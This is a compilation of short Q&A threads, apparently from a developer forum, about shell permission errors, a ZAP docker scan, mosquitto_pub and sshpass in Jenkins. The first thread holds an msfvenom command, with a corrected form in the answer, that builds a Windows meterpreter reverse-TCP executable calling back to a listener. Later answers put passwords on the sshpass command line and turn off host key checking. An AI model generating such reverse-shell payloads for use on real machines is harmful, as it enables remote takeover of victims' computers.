I am trying to create a metasploit payload using msfvenom with the following command:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=3333 -f exe -o /Users/<UserNameHere>/Desktop > shell.exe
But when that is executed I get: -bash: shell.exe: Permission denied
even though i tried running it with sudo and logging in as root with dsenableroot. I'm not sure what is wrong or where to look for an answer.
Try:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=3333 -f exe -o /Users/<UserNameHere>/Desktop/File.exe
Related
I don't how to get permissions to run zip command on the remote server. When I am on the server running this command: sudo -u the_user bash fixes this but when running this through ssh connection generates error: zip I/O error: Permission denied
This generates this error:
ssh "${SERVER}" \
"bash -s" <<'ENDSSH'>&1
zip -r "${DIR_NAME}.zip" $DIR_NAME
ENDSSH
If I add sudo -u the_user bash like so:
ssh "${SERVER}" \
"bash -s" <<'ENDSSH'>&1
sudo -u the_user bash
zip -r "${DIR_NAME}.zip" $DIR_NAME
ENDSSH
...I'm getting:
sudo: sorry, you must have a tty to run sudo
When I attempt to run the following ZAP command on the terminal (Debian 10) :
docker run -v '$(pwd):/zap/wrk/:rw' -t owasp/zap2 docker-weekly zap-api-scan.py -t http://10.170.170.170:1700/account?field4= 4555666777888&"field7=GENERIC01"&"field10=ABC076 -f openapi -r ~/serverkeys/ZAP_Report.htm
I get an error :
docker: Error response from daemon: create $(pwd): "$(pwd)" includes invalid cha racters for a local volume name, only "[a-zA-Z0-9][a-zA-Z0-9_.-]" are allowed. I f you intended to pass a host directory, use absolute path.
I am able to run the same commnad successfully from a Windows 10 terminal as below :
docker run -v "$(pwd):/zap/wrk/:rw" -t owasp/zap2docker-weekly zap-api-scan.py -t http://10.170.170.170:1700 /account?field4=4555666777888"&"field7=GENERIC01"&"field10=ABC076 -f openapi -r ZAP_Report.htm
What am I missing?
Dont quote the mount argument, ie use docker run -v $(pwd):/zap/wrk/:rw ...
A working example is shown on https://www.zaproxy.org/docs/docker/baseline-scan/
I need to run a command/shell-script as on other user. The stdout shall be written to a logfile.
I tried it like this:
export LOGDIR=foo/bar
sudo -u www command /home/www > /home/www/$LOGDIR/command.log
But I get always this error:
-bash: /home/www/foo/bar/command.log: Permission denied
You can try this easily with this little stupid example:
sudo -u edeviser ls /home/edeviser > /home/edeviser/$LOGDIR/ls.log
I see the problem is, that the redirection with > is not done as the user specified by the ´-u´ option.
How to execute the command and log as the same specific user?
You can try something like
sudo -u www bash -c "command /home/www > /home/www/$LOGDIR/command.log"
export logdir="foo/bar"
sudo -u www command /home/www |sudo -u www dd of="/home/www/$logdir/command.log"
When trying to publish a message to a topic using the mosquitto_pub -l flag, I get the error:
Error: '-l' mode not available, threading support has not been compiled in.
How can I correct this?
For reference mosquitto_pub is version 1.5.3, running on libmosquitto 1.5.3., and the command I am trying to run is:
mosquitto_pub -h <hostname> -p <port> -t "<topic>" --cafile /usr/local/etc/openssl/cert.pem -d -P "$(cat mqtt-token-pub.txt)" -u <username> -l
Note: it works if I use -m "blah" instead of -l
I'm trying to run a remote sh from Jenkins to change a script to executable, but I take the following error:
[-manager_feature_kubernetes-YYLYXREUAV4NHLBACWJHV5YMQFOGHM4SS7G67ASIGYSZZGVS4VBQ] Running shell script
+ sshpass -p **** ssh'****#10.XX.XX.XXX chmod u + x /home/Script.sh '
sshpass: Failed to run command: No such file or directory
The logic of my script is:
sh "sshpass -p \" $ {passSSH} \ "ssh ${userSSH}#10.XX.XX.XXX \" chmod u + x /home/Script.sh \ ""
Can anyone help?
Have you tried this:
sshpass -p '$rootPassword' ssh -o 'StrictHostKeyChecking=no' $isRoot#$Host "chmod u+x /home/$USER/Script.sh"
Just write it here : my docker container did not have package lftp installed
a simple apt-get install lftp solved this issue.
Hope it will help ;)
In my case I was using docker container of alpine linux in which openssh was missing so sshpass failing. After installing openssh package it solved.
apk add openssh
(so just incase if some one faces same)
$rootPassword,$isRoot, $Host are Jenkins string parameter
sshpass -p ""$rootPassword"" ssh $isRoot#$Host id; echo $HOME;